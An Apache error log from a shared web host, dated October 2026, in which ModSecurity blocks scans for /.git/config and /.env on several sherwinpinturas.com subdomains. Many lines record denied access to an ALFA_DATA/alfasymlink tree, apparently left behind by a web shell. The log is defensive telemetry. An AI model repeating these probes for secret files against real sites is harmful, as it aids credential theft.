[Sat Oct 24 13:04:31.026475 2026] [security2:error] [pid 2661974:tid 2661974] [client 34.74.37.180:36360] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH1J_jwyaxTk3PFs1jgAAAAE"]
[Sat Oct 24 13:04:31.026629 2026] [security2:error] [pid 2661974:tid 2661974] [client 34.74.37.180:36360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH1J_jwyaxTk3PFs1jgAAAAE"]
[Sat Oct 24 13:04:31.026884 2026] [security2:error] [pid 2661974:tid 2661974] [client 34.74.37.180:36360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH1J_jwyaxTk3PFs1jgAAAAE"]
[Sat Oct 24 13:04:31.032119 2026] [security2:error] [pid 2653689:tid 2653689] [client 34.74.37.180:36346] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwoF0dEltz9SGyy7kgAAABU"]
[Sat Oct 24 13:04:31.032419 2026] [security2:error] [pid 2653689:tid 2653689] [client 34.74.37.180:36346] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwoF0dEltz9SGyy7kgAAABU"]
[Sat Oct 24 13:04:31.032576 2026] [security2:error] [pid 2653689:tid 2653689] [client 34.74.37.180:36346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwoF0dEltz9SGyy7kgAAABU"]
[Sat Oct 24 13:04:31.033291 2026] [security2:error] [pid 2653819:tid 2653819] [client 34.74.37.180:36342] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH9FqpkZ9T6kfBCkANAAAAAA"]
[Sat Oct 24 13:04:31.033511 2026] [security2:error] [pid 2653819:tid 2653819] [client 34.74.37.180:36342] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH9FqpkZ9T6kfBCkANAAAAAA"]
[Sat Oct 24 13:04:31.033674 2026] [security2:error] [pid 2653819:tid 2653819] [client 34.74.37.180:36342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH9FqpkZ9T6kfBCkANAAAAAA"]
[Sat Oct 24 13:04:31.033937 2026] [security2:error] [pid 2653819:tid 2653819] [client 34.74.37.180:36342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH9FqpkZ9T6kfBCkANAAAAAA"]
[Sat Oct 24 13:04:31.046451 2026] [security2:error] [pid 2653689:tid 2653689] [client 34.74.37.180:36346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwoF0dEltz9SGyy7kgAAABU"]
[Sat Oct 24 13:04:37.548675 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.11:44782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/partial
[Sat Oct 24 13:05:12.072212 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.210:26812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/validate
[Sat Oct 24 13:05:14.471747 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.207.207.36:62076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:05:20.102822 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.84.102.81:65283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:05:34.465856 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 100.28.204.82:39011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:05:43.839047 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.84.93.8:10715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:05:54.552895 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 98.82.63.147:59493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:06:02.819649 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.223.134.5:21110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:06:06.571751 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.209.174.110:15438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:06:10.827687 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 18.209.201.119:57589] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_piix/new_id
[Sat Oct 24 13:06:18.596670 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 107.20.255.194:35996] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:06:19.168013 2026] [security2:error] [pid 2627273:tid 2627273] [client 130.12.180.170:59760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzlixdOhHN-18IxgZKtfQAAAAY"]
[Sat Oct 24 13:06:19.168274 2026] [security2:error] [pid 2627273:tid 2627273] [client 130.12.180.170:59760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzlixdOhHN-18IxgZKtfQAAAAY"]
[Sat Oct 24 13:06:19.168579 2026] [security2:error] [pid 2627273:tid 2627273] [client 130.12.180.170:59760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzlixdOhHN-18IxgZKtfQAAAAY"]
[Sat Oct 24 13:06:20.528463 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 185.191.171.11:14126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/objects
[Sat Oct 24 13:06:30.689396 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 98.84.184.80:19745] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/wakeup/wakeup11/subsystem/wakeup7/device/device:17/eject
[Sat Oct 24 13:06:42.561941 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.92.171.106:58181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/serial/unbind
[Sat Oct 24 13:06:46.701479 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 18.211.148.239:39328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:06:52.292120 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.194:23066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/cpu_slabs
[Sat Oct 24 13:06:53.406643 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.87.95.7:8081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:07:14.731407 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.21.62.139:42759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:07:18.810340 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.231.77.232:64120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:07:27.091726 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.221.105.234:13080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:07:40.234192 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.235.215.92:1078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:07:59.115874 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 107.23.62.75:34237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:03.015567 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.84.169.196:17776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:07.506062 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.87.95.7:29447] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:19.197199 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.210.29.96:30577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:30.830604 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.23.103.31:10061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:35.058176 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.206.249.188:44991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:35.404860 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 185.191.171.6:30568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/usersize
[Sat Oct 24 13:08:39.520253 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 184.72.84.154:10806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:47.681100 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.1:24032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/slabs
[Sat Oct 24 13:08:50.913498 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.204.71.8:46460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:08:55.165576 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.236.41.241:58664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:09:00.297241 2026] [core:crit] [pid 2627273:tid 2627273] (13)Permission denied: [client 43.134.56.214:38918] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:09:03.199868 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.221.37.41:21399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:09:07.211402 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 23.23.103.31:2405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:09:11.073082 2026] [authz_core:error] [pid 2653689:tid 2653689] [client 164.92.211.98:35344] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:09:15.924224 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.70.123.241:11730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:09:25.361249 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.5:49082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/cpu_slabs
[Sat Oct 24 13:09:43.208596 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.4.229.9:27130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:09:43.680639 2026] [security2:error] [pid 2653683:tid 2653683] [client 144.172.115.167:53156] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmV767zmuaHuFajxGngAAAAA4"]
[Sat Oct 24 13:09:43.680906 2026] [security2:error] [pid 2653683:tid 2653683] [client 144.172.115.167:53156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmV767zmuaHuFajxGngAAAAA4"]
[Sat Oct 24 13:09:43.681230 2026] [security2:error] [pid 2653683:tid 2653683] [client 144.172.115.167:53156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmV767zmuaHuFajxGngAAAAA4"]
[Sat Oct 24 13:09:43.925125 2026] [security2:error] [pid 2653691:tid 2653691] [client 144.172.115.167:53166] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmVwg8t6UDSRTNwJOXeQAAABc"]
[Sat Oct 24 13:09:43.925376 2026] [security2:error] [pid 2653691:tid 2653691] [client 144.172.115.167:53166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmVwg8t6UDSRTNwJOXeQAAABc"]
[Sat Oct 24 13:09:43.925737 2026] [security2:error] [pid 2653691:tid 2653691] [client 144.172.115.167:53166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzmVwg8t6UDSRTNwJOXeQAAABc"]
[Sat Oct 24 13:10:03.226004 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.239.85.139:13721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:07.500732 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 3.219.80.71:48048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/xen-platform-pci/bind
[Sat Oct 24 13:10:11.193674 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.87.62.248:31204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:15.265400 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.231.77.232:47439] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:19.183426 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.70.123.241:47392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:23.454904 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 100.28.49.152:39662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:27.173108 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.230.69.161:36575] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:31.613779 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.212.106.171:28940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:35.387726 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.206.249.188:28245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:40.229372 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.2.191.202:63573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:47.172376 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.215.235.20:17334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:49.748803 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.206:53092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/red_zone
[Sat Oct 24 13:10:53.646010 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.19:59066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:55.185689 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.193.2.57:40662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:10:59.460063 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.23.99.55:28703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:03.363605 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.208.193.63:27371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:07.293297 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 54.156.55.147:5743] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/bind
[Sat Oct 24 13:11:20.471873 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.167.32.123:65121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:23.353144 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.211.148.239:52776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:31.918596 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.24.149.244:8085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:39.469593 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.85.126.86:23484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:43.497240 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.210.223.61:7889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:45.873469 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.206:57928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/reclaim_account
[Sat Oct 24 13:11:47.641093 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.22.87.224:3639] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:51.369203 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.227.156.153:17726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:55.498024 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.80.185.200:52053] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:11:59.461890 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 44.215.231.15:33724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/ec/bind
[Sat Oct 24 13:12:03.391304 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.91.122.193:46629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:07.330997 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.239.197.197:62443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:10.939355 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.204:47402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/alloc_calls
[Sat Oct 24 13:12:15.479507 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 23.21.179.120:53889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:12:19.553934 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.224.104.67:57407] AH02013: coalesce failed to read from data bucket
